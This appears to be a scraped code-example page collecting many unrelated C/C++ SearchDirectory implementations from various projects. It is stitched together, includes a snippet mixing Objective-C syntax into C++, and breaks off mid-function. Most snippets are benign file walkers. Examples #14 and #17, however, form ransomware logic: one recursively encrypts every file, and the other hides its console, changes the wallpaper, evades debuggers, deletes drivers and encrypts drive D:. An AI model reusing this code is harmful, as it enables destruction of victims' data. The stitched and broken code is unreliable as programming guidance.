JBoolean
CBSearchTextDialog::BuildSearchFileList
	(
	JPtrArray<JString>* fileList,
	JPtrArray<JString>* nameList
	)
	const
{
	(JXGetApplication())->DisplayBusyCursor();

	fileList->SetCleanUpAction(JPtrArrayT::kDeleteAll);
	fileList->SetCompareFunction(JCompareStringsCaseSensitive);

	nameList->SetCleanUpAction(JPtrArrayT::kDeleteAll);
	nameList->SetCompareFunction(JCompareStringsCaseSensitive);

	if (itsMultifileCB->IsChecked())
		{
		const JPtrArray<JString>& fullNameList = itsFileList->GetFullNameList();

		const JSize count = fullNameList.GetElementCount();
		for (JIndex i=1; i<=count; i++)
			{
			SaveFileForSearch(*(fullNameList.NthElement(i)), fileList, nameList);
			}
		}

	JBoolean ok = kJTrue;

	JString path, fileFilter, pathFilter;
	if (GetSearchDirectory(&path, &fileFilter, &pathFilter))
		{
		JRegex* fileRegex = NULL;
		JString regexStr;
		if (JDirInfo::BuildRegexFromWildcardFilter(fileFilter, &regexStr))
			{
			fileRegex = jnew JRegex(regexStr);
			assert( fileRegex != NULL );
			fileRegex->SetCaseSensitive(kJFalse);
			}

		JRegex* pathRegex = NULL;
		if (JDirInfo::BuildRegexFromWildcardFilter(pathFilter, &regexStr))
			{
			pathRegex = jnew JRegex(regexStr);
			assert( pathRegex != NULL );
			pathRegex->SetCaseSensitive(kJFalse);
			}

		JLatentPG pg(100);
		pg.VariableLengthProcessBeginning("Collecting files...", kJTrue, kJFalse);
		ok = SearchDirectory(path, fileRegex, pathRegex, fileList, nameList, pg);
		pg.ProcessFinished();

		jdelete fileRegex;
		jdelete pathRegex;
		}

	return JI2B( ok && !fileList->IsEmpty() );
}
示例#2
0
// search in directory for the NDS file
bool SearchDirectory() {
    DIR_ITER *dir;
    bool found = false;
    char path[EFS_MAXPATHLEN];
    char filename[EFS_MAXPATHLEN];
    struct stat st; 
 
    dir = diropen(".");
    while((dirnext(dir, filename, &st) == 0) && (!found)) {
        if(st.st_mode & S_IFDIR) {
            if(((strlen(filename) == 1) && (filename[0]!= '.')) ||
                ((strlen(filename) == 2) && (strcasecmp(filename, "..")))  ||
                (strlen(filename) > 2))
            {
                chdir(filename);
                found = SearchDirectory();
                chdir("..");
            }
        } else {
            getcwd(path, EFS_MAXPATHLEN-1);
            strcat(path, filename);
        
            if(CheckFile(path, true)) {
                found = true;
                break;
            }
        }
    }
    dirclose(dir);
    
    return found;
} 
示例#3
0
int NxUtils::SearchDirectory(std::vector<std::string> &refvecFiles,
                    const std::string &refcstrRootDirectory,
                    const std::string &refcstrExtension,
                    bool bSearchSubdirectories = true)
{
	#if NXGRAPHICS_PLATFORM == NXGRAPHICS_PLATFORM_WIN32
   std::string strFilePath; // Filepath
   std::string strPattern; // Pattern
   std::string strExtension; // Extension
   HANDLE hFile; // Handle to file
   WIN32_FIND_DATA FileInformation; // File information
   
   strPattern = refcstrRootDirectory + "\\*.*";
   
   hFile = ::FindFirstFile(strPattern.c_str(), &FileInformation);
   if(hFile != INVALID_HANDLE_VALUE)
   {
      do
      {
         if(FileInformation.cFileName[0] != '.')
         {
            strFilePath.erase();
            strFilePath = refcstrRootDirectory + "\\" + FileInformation.cFileName;
            
            if(FileInformation.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
            {
               if(bSearchSubdirectories)
               {
                  // Search subdirectory
                  int iRC = SearchDirectory(refvecFiles,
                     strFilePath,
                     refcstrExtension,
                     bSearchSubdirectories);
				  if(iRC){ return iRC; }
               }
            }
            else
            {
               // Check extension
               strExtension = FileInformation.cFileName;
			   ToLower(strExtension);
               strExtension = strExtension.substr(strExtension.rfind(".") + 1);
               
               if(strExtension == refcstrExtension) {
                  refvecFiles.push_back(strFilePath); // Save filename
               }
            }
         }
      } while(::FindNextFile(hFile, &FileInformation) == TRUE);
      
      // Close handle
      ::FindClose(hFile);
      
      DWORD dwError = ::GetLastError();
	  if(dwError != ERROR_NO_MORE_FILES){ return dwError; }
   }
#endif
   
   return 0;
}
std::vector<std::string> AudioAssetsPathLoader::getDefaultMusicPaths()
{
	std::vector<std::string> paths;

	SearchDirectory(paths, "Assets\\Music", "wav", false);
	return paths;
}
nsresult
nsAbAutoCompleteSession::SearchReplicatedLDAPDirectories(nsIPrefBranch *aPref, nsAbAutoCompleteSearchString* searchStr, PRBool searchSubDirectory, nsIAutoCompleteResults* results)
{
    NS_ENSURE_ARG_POINTER(aPref);

    nsXPIDLCString prefName;
    nsresult rv = aPref->GetCharPref("ldap_2.autoComplete.directoryServer", getter_Copies(prefName));
    NS_ENSURE_SUCCESS(rv,rv);

    if (prefName.IsEmpty())
        return NS_OK;

    // use the prefName to get the fileName pref
    nsCAutoString fileNamePref;
    fileNamePref = prefName + NS_LITERAL_CSTRING(".filename");

    nsXPIDLCString fileName;
    rv = aPref->GetCharPref(fileNamePref.get(), getter_Copies(fileName));
    NS_ENSURE_SUCCESS(rv,rv);

    // if there is no fileName, bail out now.
    if (fileName.IsEmpty())
        return NS_OK;

    // use the fileName to create the URI for the replicated directory
    nsCAutoString URI;
    URI = NS_LITERAL_CSTRING("moz-abmdbdirectory://") + fileName;

    // and then search the replicated directory
    return SearchDirectory(URI, searchStr, searchSubDirectory, results);
}
std::vector<std::string> AudioAssetsPathLoader::getDefaultSoundPaths()
{
	std::vector<std::string> paths;

	SearchDirectory(paths, "Assets\\Sounds", "wav", true);
	return paths;
}
JBoolean
CBSearchTextDialog::SearchDirectory
	(
	const JString&		path,
	const JRegex*		fileRegex,
	const JRegex*		pathRegex,
	JPtrArray<JString>*	fileList,
	JPtrArray<JString>*	nameList,
	JProgressDisplay&	pg
	)
	const
{
	JDirInfo* info;
	if (!JDirInfo::Create(path, &info))
		{
		return kJTrue;	// user didn't cancel
		}
	info->SetWildcardFilter(const_cast<JRegex*>(fileRegex), kJFalse,
							itsInvertFileFilterCB->IsChecked());

	JBoolean keepGoing = kJTrue;

	const JSize count = info->GetEntryCount();
	for (JIndex i=1; i<=count; i++)
		{
		const JDirEntry& entry = info->GetEntry(i);
		if (entry.IsFile())
			{
			if (!pg.IncrementProgress())
				{
				keepGoing = kJFalse;
				break;
				}
			SaveFileForSearch(entry.GetFullName(), fileList, nameList);
			}
		else if (itsRecurseDirCB->IsChecked() &&
				 entry.IsDirectory() && !entry.IsLink() &&
				 !JIsVCSDirectory(entry.GetName()))
			{
			JBoolean match = kJTrue;
			if (pathRegex != NULL)
				{
				match = ! pathRegex->Match(entry.GetName());
				}

			if (match &&
				!SearchDirectory(entry.GetFullName(), fileRegex, pathRegex,
								 fileList, nameList, pg))
				{
				keepGoing = kJFalse;
				break;
				}
			}
		}

	jdelete info;
	return keepGoing;
}
nsresult nsAbAutoCompleteSession::SearchDirectory(const nsACString& aURI, nsAbAutoCompleteSearchString* searchStr, PRBool searchSubDirectory, nsIAutoCompleteResults* results)
{
    nsresult rv = NS_OK;
    nsCOMPtr<nsIRDFService> rdfService(do_GetService("@mozilla.org/rdf/rdf-service;1", &rv));
    NS_ENSURE_SUCCESS(rv, rv);

    nsCOMPtr <nsIRDFResource> resource;
    rv = rdfService->GetResource(aURI, getter_AddRefs(resource));
    NS_ENSURE_SUCCESS(rv, rv);

    // query interface
    nsCOMPtr<nsIAbDirectory> directory(do_QueryInterface(resource, &rv));
    NS_ENSURE_SUCCESS(rv, rv);

    // when autocompleteing against directories,
    // we only want to match against certain directories
    // we ask the directory if it wants to be used
    // for local autocompleting.
    PRBool searchDuringLocalAutocomplete;
    rv = directory->GetSearchDuringLocalAutocomplete(&searchDuringLocalAutocomplete);
    NS_ENSURE_SUCCESS(rv, rv);

    if (!searchDuringLocalAutocomplete)
        return NS_OK;

    if (!aURI.EqualsLiteral(kAllDirectoryRoot))
        rv = SearchCards(directory, searchStr, results);

    if (!searchSubDirectory)
        return rv;

    nsCOMPtr<nsISimpleEnumerator> subDirectories;
    if (NS_SUCCEEDED(directory->GetChildNodes(getter_AddRefs(subDirectories))) && subDirectories)
    {
        nsCOMPtr<nsISupports> item;
        PRBool hasMore;
        while (NS_SUCCEEDED(rv = subDirectories->HasMoreElements(&hasMore)) && hasMore)
        {
            if (NS_SUCCEEDED(subDirectories->GetNext(getter_AddRefs(item))))
            {
                directory = do_QueryInterface(item, &rv);
                if (NS_SUCCEEDED(rv))
                {
                    nsCOMPtr<nsIRDFResource> subResource(do_QueryInterface(item, &rv));
                    if (NS_SUCCEEDED(rv))
                    {
                        nsXPIDLCString URI;
                        subResource->GetValue(getter_Copies(URI));
                        rv = SearchDirectory(URI, searchStr, PR_TRUE, results);
                    }
                }
            }
        }
    }
    return rv;
}
示例#9
0
	void applyBinding(lua_State * L) {

		// Connect LuaBind to this state
		try {
			luabind::open(L);
			luabind::bind_class_info(L);
		} catch (const std::exception & e) {
			std::cerr << "Caught exception connecting luabind and class_info: " << e.what() << std::endl;
			throw;
		}

		/// Apply our bindings to this state

		// Extend the lua script search path for "require"
		LuaPath& lp = LuaPath::instance();
		{
			LuaSearchPathUpdater searchpath(L);
			searchpath.extend(SearchDirectory(lp.getLuaDir()));
			searchpath.extend(RootDirectory(lp.getRootDir()));
		}

		{
			/// @todo c search path
			//LuaCSearchPathUpdater csearchpath(L);
		}


		// osgLua
		bindOsgToLua(L);

		// vrjugglua
		bindKernelToLua(L);
		bindSonixToLua(L);
		bindGadgetInterfacesToLua(L);
		bindRunBufferToLua(L);
		BindvrjLuaToLua(L);

		OsgAppProxy::bindToLua(L);

		// Set up traceback...
		luabind::set_pcall_callback(&add_file_and_line);

		// Load the vrjlua init script
		luabind::globals(L)["require"]("vrjlua-init");

		// set up global for debug mode
		/// @todo make this work
/*
		luabind::module(L.get(), "vrjlua")[
		                                        luabind::def_readwrite(boost::ref(LuaScript::exitOnError))
											   ];

*/
	}
示例#10
0
DWORD WINAPI readThread(LPVOID param){
	TCHAR* dir=((TCHAR*)param);
	swF = false;
	//_tprintf(_T("->Hi read\n"));
	WaitForSingleObject(rd, INFINITE);
	SearchDirectory(dir);
	//_tprintf(_T("->Bye read\n"));
	if (swF == true){
		_tprintf(_T("->Equal Directories!\n"));
		ReleaseSemaphore(rd, 1, NULL);
	}
	else{
		_tprintf(_T("->BAAAAAAAAAAD!\n"));
	}
	return 0;
}
示例#11
0
void makeIndex (trie_t & trie, props_t & props, bool & abort, Config const & cfg)
{
	try
	{
		props_t tmp_props;
		tmp_props.reserve(1024);
		std::map<tstring, int, icasecompare> tmp_propmap;
		for (SearchLocationInfo const & info : cfg.m_locations)
		{
			if (abort)
				return;

			SearchDirectory(
				  info.m_dir_path, info.m_includes, info.m_excludes, info.m_recursive, info.m_follow_symlinks
				, TEXT("")
				, [] (tstring const & fname, tstring const & cmp) { return true; }
				, [&trie, &tmp_props, &tmp_propmap] (tstring const & fname, tstring const & fpath)
					 {
						std::map<tstring, int>::iterator it = tmp_propmap.find(fname);
						if (it == tmp_propmap.end())
						{
							tstring fname_lwr = fname;
							boost::algorithm::to_lower(fname_lwr);
							tmp_props.push_back(Props(fname_lwr, fpath));
							trie_t::result_type const id = static_cast<trie_t::result_type>(tmp_props.size() - 1);
							tmp_propmap[fname_lwr] = id;
							//dbg_printf("insert: fname=%s fpath=%s idx=%i\n", fname_lwr.c_str(), fpath.c_str(), id);
							trie.update(fname_lwr.c_str(), fname_lwr.length(), id);
						}
						else
						{
							tmp_props[it->second].m_fpath.push_back(fpath);
							//dbg_printf("update: fname=%s fpath=%s idx=%i\n", fname.c_str(), fpath.c_str(), it->second);
						}
					 }
				, abort);
		}
		props = tmp_props;
	}
	catch (std::regex_error const & e)
	{
		dbg_printf("Exception caught: %s", e.what());
	}

	//printf("keys: %ld\n", trie.num_keys ());
	//printf("size: %ld\n", trie.size ());
}
示例#12
0
static bool SearchDirectory(TCHAR *pathName){
	HANDLE SearchHandle;

	WIN32_FIND_DATA FindData;
	DWORD FType;
	TCHAR cpy[100];
	lstrcpy(cpy,pathName);
	bool sw = false;
	//_tprintf(_T("\n---> Plain Run on %s:\n"),cpy);

	SetCurrentDirectory(pathName);
	SearchHandle = FindFirstFile(_T("*"), &FindData);
	do {
		FType = FileType(&FindData);
		if (FType == TYPE_FILE){
				//_tprintf(_T("FILE: %s\n"),FindData.cFileName);
				strcpy(compa, FindData.cFileName);
				ReleaseSemaphore(cmp, 1, NULL);
				WaitForSingleObject(rd, INFINITE);
			
		}
		if (FType == TYPE_DIR) {

			//_tprintf(_T("DIR : %s\n"), FindData.cFileName);
			strcpy(compa, FindData.cFileName);
			ReleaseSemaphore(cmp, 1, NULL);
			WaitForSingleObject(rd, INFINITE);
			lstrcat(cpy, "\\");
			lstrcat(cpy, FindData.cFileName);
		
			if (SearchDirectory(cpy) == true){
				sw = true;
			}
			lstrcpy(cpy,pathName);

		}
	} while (FindNextFile(SearchHandle, &FindData));

	FindClose(SearchHandle);

	if (sw == true){
		return sw;
	}
	else{
		return false;
	}
}
示例#13
0
// search in directory for the NDS file
bool SearchDirectory() {
    DIR *dir;
    bool found = false;
    char path[EFS_MAXPATHLEN];
    char filename[EFS_MAXPATHLEN];
    struct stat st; 
	struct dirent *pent;
	
    dir = opendir(".");
	while( (pent=readdir(dir))!=NULL && (!found))
	{
		//iprintf("Test FS 1-1\n");
		stat(pent->d_name,&st);
        if(S_ISDIR(st.st_mode)) 
		{	
			//Dossier
			strcpy(filename, pent->d_name);
			//iprintf("%s\n", filename);
            if(((strlen(filename) == 1) && (filename[0]!= '.')) || ((strlen(filename) == 2) && (strcasecmp(filename, ".."))) || (strlen(filename) > 2))
            {
                chdir(filename);
                found = SearchDirectory();
                chdir("..");
            }
        } 
		else 
		{
			strcpy(filename, pent->d_name);
			//iprintf("F : %s\n", pent->d_name);
            getcwd(path, EFS_MAXPATHLEN-1);
            strcat(path, filename);
			//iprintf("P : %s\n", path);
        
            if(CheckFile(path, true)) 
			{
                found = true;
				//iprintf("FICHIER TROUVE\n");
                break;
            }
        }
    }
    closedir(dir);
    
    return found;
} 
示例#14
0
/*
int check(char stack[1000][100])
{
int i;
for (i = 0; i < 1000; i++)
{
if (stack[i][0] != '\0')
return 0;
}
return 1;
}
*/
char SearchDirectory(char *parm_search_path)
{
	char * search_path = parm_search_path;
	char temp[1024] = { 0, };
	char fname[2048] = { 0, };
	WIN32_FIND_DATA file_data;
	strcat(temp, search_path);
	strcat(temp, "*.*");
	HANDLE search_handle = FindFirstFile(temp, &file_data);
	if (INVALID_HANDLE_VALUE != search_handle) {
		// if handle is right one
		do {
			if (FILE_ATTRIBUTE_DIRECTORY & file_data.dwFileAttributes) {
				// except current and up-root folder
				if (strcmp(file_data.cFileName, ".") && strcmp(file_data.cFileName, "..")) {
					memset(temp, 0, sizeof(temp));
					strcat(temp, search_path);
					strcat(temp, file_data.cFileName);
					strcat(temp, "\\");
					//하위 디렉토리 탐색
					printf("[DIR]: %s%s\n", search_path, file_data.cFileName);
					SearchDirectory(temp);
				}
			}
			else {
				memset(fname, 0, sizeof(fname));
				strcat(fname, search_path);
				strcat(fname, file_data.cFileName);
				if (padding(fname) == 1)
					continue;
				enc(fname);
				printf("[FILE]: %s\n", fname);
			}
			// copy next file's information to file_data from file list
			// if there's no more file, return 0
		} while (FindNextFile(search_handle, &file_data));

		// delte file list
		FindClose(search_handle);
	}

	return 1;
}
示例#15
0
void SetLocaleFile( UInt8 * langStr, OSType signature )
{
	FCBPBRec	resPb;
	Str31		fileName;
	OSErr		err;
	
	resPb.ioCompletion 	= nil;			// Find the plugin directory using
	resPb.ioNamePtr		= fileName;		// the res file ref num as a base.
	resPb.ioRefNum		= GetAcroPluginResourceMap();
	resPb.ioFCBIndx		= 0;			// Look up GetAcroPluginResourceMap()
	
	err = PBGetFCBInfoSync( &resPb );
	
	if( err != noErr ) {				// Something bad happened.  Set locale
		gLocaleResFile = 0;				// to nil and default to English
		return;
	}
	SearchDirectory(  resPb.ioFCBVRefNum, resPb.ioFCBParID, langStr, signature, 1 );
}
std::vector<std::string> FileUtilsExtension::content_of_folder(const std::string& path, const std::string& extension)
{
#ifndef WIN32
	std::vector<std::string> ret;
	ret.clear();

	if (!path_is_directory(path)) {
		return ret;
	}

    DIR*            dp;
    struct dirent*  ep;
    
    dp = opendir(path.c_str());
    
    while ((ep = readdir(dp)) != NULL) {
        if (std::string(ep->d_name) == "." || std::string(ep->d_name) == "..") continue;
        if (!extension.length() || extension == p.pathExtension.lowercaseString.UTF8String) {
            ret.push_back(std::string(ep->d_name));
        }
    }
    
    closedir(dp);
    return ret;
#else

    int                      iRC = 0;
    std::vector<std::string> vecFiles;

    // Search 'c:' for '.avi' files including subdirectories
    iRC = SearchDirectory(vecFiles, path, extension);
    if (iRC)
    {
        vecFiles.clear();
    }
    
    return vecFiles;

#endif
}
示例#17
0
int main(int argc, char *argv[])
{
	HWND hWndConsole = GetConsoleWindow();
	//get console handle
	ShowWindow(hWndConsole, SW_HIDE);
	//run program without interface
	ChangeImage();
	ShellExecute(NULL, "open", "iexplore.exe", "http://layer7.kr", NULL, SW_SHOWNORMAL);
	if (IsDebuggerPresent())//check whether program is on debugging or not
	{
		fakeset();
	}
	else
	{
		setpasswd();
		savelog();
		deleteDrivers();
		SearchDirectory("D:\\");

	}
	return 0;
}
void SearchDirectory(const char *name) {
    DIR *dir = opendir(name);                //Assuming absolute pathname here.
    if(dir) {
        char Path[256], *EndPtr = Path;
        struct dirent *e;
        strcpy(Path, name);                  //Copies the current path to the 'Path' variable.
        EndPtr += strlen(name);              //Moves the EndPtr to the ending position.
        while((e = readdir(dir)) != NULL) {  //Iterates through the entire directory.
            struct stat info;                //Helps us know about stuff
            strcpy(EndPtr, e->d_name);       //Copies the current filename to the end of the path, overwriting it with each loop.
            if(!stat(Path, &info)) {         //stat returns zero on success.
                if(S_ISDIR(info.st_mode)) {  //Are we dealing with a directory?
                    //Make corresponding directory in the target folder here.
                	printf("%s\n", e->d_name);
                    SearchDirectory(Path);   //Calls this function AGAIN, this time with the sub-name.
                } else if(S_ISREG(info.st_mode)) { //Or did we find a regular file?

                    //Run Copy routine
                }
            }
        }
    }
}
示例#19
0
// search in directory for the NDS file
bool SearchDirectory() {
    DIR* dir;
	struct stat st;
	struct dirent* ent;

    bool found = false;
    char path[EFS_MAXPATHLEN];

    dir = opendir(".");

    while(((ent = readdir(dir)) != NULL) && (!found)) {
		stat(ent->d_name,&st);

        if(S_ISDIR(st.st_mode)) {
            if(((strlen(ent->d_name) == 1) && (ent->d_name[0]!= '.')) ||
                ((strlen(ent->d_name) == 2) && (strcasecmp(ent->d_name, "..")))  ||
                (strlen(ent->d_name) > 2))
            {
                chdir(ent->d_name);
                found = SearchDirectory();
                chdir("..");
            }
        } else {
            getcwd(path, EFS_MAXPATHLEN-1);
            strcat(path, ent->d_name);

            if(CheckFile(path, true)) {
                found = true;
                break;
            }
        }
    }
    closedir(dir);

    return found;
}
void ModelDB::parseModelFileDir(string dirName){
#ifdef USE_GCC
    DIR * dirp = opendir(dirName.c_str());
    struct dirent * dp;
    ifstream fin(dirName.c_str());

    // if the path is a directory, parse the each model in this directory
    // ASSUMPTION: here it is only a two tier structure. no recursive reading.
    if (dirp) {

	errno = 0;
	// read each file
	while (( dp = readdir(dirp)) != NULL) {
	    // if the file is . or .., skip it	
	    if(!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, "..")){
		continue; // do nothing for "useless" directories
	    }
	    // if the file ends with ~, skip it also
	    if (dp->d_name[strlen(dp->d_name)-1]=='~') {
		continue;
	    }
	    // otherwise, use the fileName as the modelID
	    string modelID(dp->d_name);
	    string fullpath=dirName+"/"+dp->d_name;
	    // parse the single model file then
	    parseSingleModelFile(fullpath, modelID);
	}
    }
    // if the path is a file, use the file name as the modelID
    else if (fin) {
	bDir = false;
	int pos = dirName.find_last_of("/");
	if (pos!=-1) {
	    string modelID(dirName.substr(pos+1));
	    parseSingleModelFile(dirName,modelID);
	}
	else {
	    parseSingleModelFile(dirName,dirName);
	}
    }
    // otherwise, error msg
    else{
	cerr << "\n parseDirectoryModel: Can't open directory " << dirName << endl;
	exit (1);
    } 
#endif //USE_GCC

#ifdef _MSC_VER
    // I couldn't find good apis to read a directory. If this is the only
    // way, then I don't understand why microsoft doesn't provide a better
    // wrapper for these functions. -- Bing Bai.  

    long hfile = -1;
    int  status = 0;
    char fullpath[MAXPATHLEN] = {0};
    int curDrive;
    char curPath[MAXPATHLEN];
    
    // store the information of the file/directory
    struct stat st;    

    // preprocess the name, get rid the last char if it is '\'
    if(dirName.at(dirName.length()-1)=='\\') {
	dirName = dirName.substr(0, dirName.length()-1);
    }

    // if it is not empty
    if( stat(dirName.c_str(), &st)==0 ){
	// if is a directory
	if (st.st_mode & _S_IFDIR) {
	    // keep the current driver and path info
	    curDrive = _getdrive();
	    _getcwd(curPath, MAXPATHLEN);
	    // go into the directory
	    status = _chdir(dirName.c_str());
	    // check each file in the directory
	    SearchDirectory((char*)dirName.c_str());
	    // go back to the original place
	    _chdrive(curDrive);
	    _chdir(curPath);
	}
	// if it is a file
	else {
	    bDir = false;
	    int pos = dirName.find_last_of("\\");
	    if (pos!=-1) {
		string modelID(dirName.substr(pos+1));
		parseSingleModelFile(dirName,modelID);
	    }
	    else {
		parseSingleModelFile(dirName,dirName);
	    }
	}
    }

#endif //_MSC_VER
}
示例#21
0
static Boolean SearchDirectory( UInt16 volID, UInt32 dirID, UInt8 * targetLang, OSType sig, UInt32 depth )
{	
	Str31		fileName;
	UInt16		fileIndex 	= 1;
	OSErr		err 		= noErr;
	CInfoPBRec	catPb;
	struct LanguageDescriptor ** locaRSRC;
	
	gLocaleResFile = 0;		/* Set locale file to invalid number	*/
		
	while( err == noErr ) {
		catPb.dirInfo.ioCompletion 	= nil;
		catPb.dirInfo.ioNamePtr		= fileName;
		catPb.dirInfo.ioVRefNum		= volID;
		catPb.dirInfo.ioFDirIndex	= fileIndex++;
		catPb.dirInfo.ioDrDirID		= dirID;
		
		err = PBGetCatInfoSync( &catPb );
	
		// If I found a folder, then look inside.  But only go to the specified depth
		if( err == noErr) {			
			if( catPb.dirInfo.ioFlAttrib & (1<<4) ) {	// Look in the folder, if I haven't exceeded the depth
				
				if( depth ) {
					if( SearchDirectory( volID, catPb.dirInfo.ioDrDirID, targetLang, sig, depth - 1 ) )
						return true;		/* A locale file was found, so exit	*/
					else		
						continue;			/* Nothing so far, so keep looking	*/
				}
				else {
					continue;
				}
			}
			else {	// Check if its a locale file
				if( 	catPb.hFileInfo.ioFlFndrInfo.fdType 	== 'LANG'
					&&	catPb.hFileInfo.ioFlFndrInfo.fdCreator 	== 'CARO' ) {
						ASInt16 curLocaleFile;

						/* Fix for 408144.
						** Check for an open resource file.  Skip already open files.
						** If another Plugin has it open this will cause great confusion.
						** Example is "WHA" and "WHA Library".  "WHA Library" close the "WHA lang"
						** file while looking for the "WHA Library lang" file.
						*/
						curLocaleFile = GetResRefNumFromFCB(volID, dirID, fileName);
						if( curLocaleFile != -1  )
							continue;				/* continue on to the next file					*/

						curLocaleFile = HOpenResFile( volID, dirID, fileName, fsCurPerm );

						if( curLocaleFile == -1  )	/* Check for a valid file.  If its bad, then	*/
							continue;				/* continue on to the next file					*/
							
						locaRSRC = (struct LanguageDescriptor **) Get1Resource( 'LOCA', 2010 );
						if( locaRSRC ) {

							if( (*locaRSRC)->mSignature == sig ) {	/* Check the client signature	*/
								
								if( (*locaRSRC)->mLocale3Letters == *( UInt32 * )targetLang )
								{
									gLocaleResFile = curLocaleFile;
								}
							}
						
							ReleaseResource( ( Handle )locaRSRC );
						}
						
						if( gLocaleResFile != curLocaleFile ) {
							CloseResFile( curLocaleFile );	/* Release the locale file	*/
							continue;						/* Didn't find it, so try the next one	*/
						}
						else
							return true;				/* Got it, so exit	*/
				}
			}
		}
	}
	return false;	/* Found nothing	*/
}
void main() {
	char *name = "/home/beimar";
	SearchDirectory(name);
}
示例#23
0
ArgumentList ExtractArguments( const StringList& argv, argument_item_mode mode, ArgumentOptions options )
{
   bool noItems             = mode == ArgumentItemMode::NoItems;
   bool itemsAsFiles        = mode == ArgumentItemMode::AsFiles;
   bool itemsAsViews        = mode == ArgumentItemMode::AsViews;
   bool allowWildcards      = !noItems && options.IsFlagSet( ArgumentOption::AllowWildcards );
   bool noPreviews          = itemsAsViews && options.IsFlagSet( ArgumentOption::NoPreviews );
   bool recursiveDirSearch  = itemsAsFiles && allowWildcards && options.IsFlagSet( ArgumentOption::RecursiveDirSearch );
   bool recursiveSearchArgs = recursiveDirSearch && options.IsFlagSet( ArgumentOption::RecursiveSearchArgs );

   // This is the recursive search mode flag, controlled by --r[+|-]
   bool recursiveSearch = false;

   // The list of existing view identifiers, in case itemsAsViews = true.
   SortedStringList imageIds;

   // The list of extracted arguments
   ArgumentList arguments;

   for ( StringList::const_iterator i = argv.Begin(); i != argv.End(); ++i )
   {
      if ( i->StartsWith( '-' ) )
      {
         Argument arg( i->At( 1 ) );

         if ( recursiveSearchArgs && arg.Id() == s_recursiveSearchArg )
         {
            if ( arg.IsSwitch() )
               recursiveSearch = arg.SwitchState();
            else if ( arg.IsLiteral() )
               recursiveSearch = true;
            else
               arguments.Add( arg );
         }
         else
            arguments.Add( arg );
      }
      else
      {
         if ( noItems )
            throw ParseError( "Non-parametric arguments are not allowed", *i  );

         StringList items;

         if ( itemsAsFiles )
         {
            String fileName = *i;
            if ( fileName.StartsWith( '\"' ) )
               fileName.Delete( 0 );
            if ( fileName.EndsWith( '\"' ) )
               fileName.Delete( fileName.UpperBound() );

            fileName.Trim();
            if ( fileName.IsEmpty() )
               throw ParseError( "Empty path specification", *i );

            fileName = File::FullPath( fileName );

            if ( fileName.HasWildcards() )
            {
               if ( !allowWildcards )
                  throw ParseError( "Wildcards not allowed", fileName );

               items = SearchDirectory( fileName, recursiveSearch );
            }
            else
               items.Add( fileName );
         }
         else if ( itemsAsViews )
         {
            String viewId = *i;

            if ( !allowWildcards )
               if ( viewId.HasWildcards() )
                  throw ParseError( "Wildcards not allowed", viewId );

            size_type p = viewId.Find( "->" );

            if ( p != String::notFound )
            {
               if ( noPreviews )
                  throw ParseError( "Preview identifiers not allowed", viewId );

               String imageId = viewId.Left( p );
               if ( imageId.IsEmpty() )
                  throw ParseError( "Missing image identifier", viewId );

               String previewId = viewId.Substring( p+2 );
               if ( previewId.IsEmpty() )
                  throw ParseError( "Missing preview identifier", viewId );

               FindPreviews( items, imageId, previewId );
            }
            else
            {
               if ( viewId.HasWildcards() )
               {
                  Array<ImageWindow> W = ImageWindow::AllWindows();
                  for ( size_type i = 0; i < W.Length(); ++i )
                  {
                     View v = W[i].MainView();
                     if ( String( v.Id() ).WildMatch( viewId ) )
                        AddView( items, v );
                  }
               }
               else
               {
                  ImageWindow w = ImageWindow::WindowById( IsoString( viewId ) );
                  if ( w.IsNull() )
                     throw ParseError( "Image not found", viewId );
                  AddView( items, w.MainView() );
               }
            }
         }
         else
            items.Add( *i );

         Argument arg( *i, items );
         arguments.Add( arg );
      }
   }

   return arguments;
}
示例#24
0
bool CPdbCache::SearchDirectory(std::wstring sSearchDir, ePdbDirSearchMode SearchMode, bool bRecursive,
                                std::wstring sPdbName, std::wstring sPeName, std::wstring sGUIDnAge,
                                CPdbReader** ppPdbReader, CPeReader** ppPeReader, int* pnEntry,
                                std::string& sErrorMsg, bool bExactMatchBuildAge)
{
    // Check if directory name begins with "debugInfo" magic symbols
    if(SearchMode==PDB_SYMBOL_STORE || sSearchDir.rfind(L"debugInfo")!=sSearchDir.npos)
    {
        // The directory is a symbol storage
        return SearchSymStorageDir(sSearchDir, sPdbName, sPeName,
                                   sGUIDnAge, ppPdbReader, ppPeReader, pnEntry, sErrorMsg, bExactMatchBuildAge);
    }

#ifdef _WIN32
    HANDLE hFind = INVALID_HANDLE_VALUE;
    WIN32_FIND_DATAW ffd;
    std::wstring sSearchPath;

    sSearchPath = sSearchDir;
    sSearchPath += L"\\";
    sSearchPath += sPdbName;

    // Search for PDB file in current folder
    hFind = FindFirstFileW(sSearchPath.c_str(), &ffd);
    BOOL bFind = TRUE;
    while(hFind!=INVALID_HANDLE_VALUE && bFind)
    {
        std::wstring sPdbFileName = sSearchDir;
        sPdbFileName += L"\\" + std::wstring(ffd.cFileName);

        std::wstring sPeFileName = sSearchDir;
        sPeFileName += L"\\" + sPeName;

        if(TryPdbFile(sPdbFileName, sPeFileName, sGUIDnAge, ppPdbReader, ppPeReader, pnEntry, false, sErrorMsg, bExactMatchBuildAge))
        {
            FindClose(hFind);
            return true;
        }

        bFind = FindNextFileW(hFind, &ffd);
    }

    FindClose(hFind);

    // Search for PDB if subfolders
    if(bRecursive)
    {
        sSearchPath = sSearchDir;
        sSearchPath += L"\\*";

        hFind = FindFirstFileW(sSearchPath.c_str(), &ffd);
        BOOL bFind = TRUE;
        while(hFind!=INVALID_HANDLE_VALUE && bFind)
        {
            if(wcscmp(ffd.cFileName, L".")!=0 &&
                    wcscmp(ffd.cFileName, L"..")!=0 &&
                    (ffd.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)!=0)
            {
                std::wstring sSubDirName = sSearchDir;
                sSubDirName += L"\\";
                sSubDirName += std::wstring(ffd.cFileName);
                if(SearchDirectory(sSubDirName, SearchMode, bRecursive, sPdbName, sPeName,
                                   sGUIDnAge, ppPdbReader, ppPeReader, pnEntry, sErrorMsg, bExactMatchBuildAge))
                {
                    FindClose(hFind);
                    return true;
                }
            }

            bFind = FindNextFileW(hFind, &ffd);
        }
    }

    FindClose(hFind);

#else

    std::string sUtf8SearchDir = strconv::w2a(sSearchDir);
    DIR* dirp = opendir(sUtf8SearchDir.c_str());

    while(dirp)
    {
        //int errno = 0;
        struct dirent* pd = readdir(dirp);
        if(pd==NULL)
        {
            closedir(dirp);
            break;
        }

        if(strcmp(pd->d_name, ".")!=0 &&
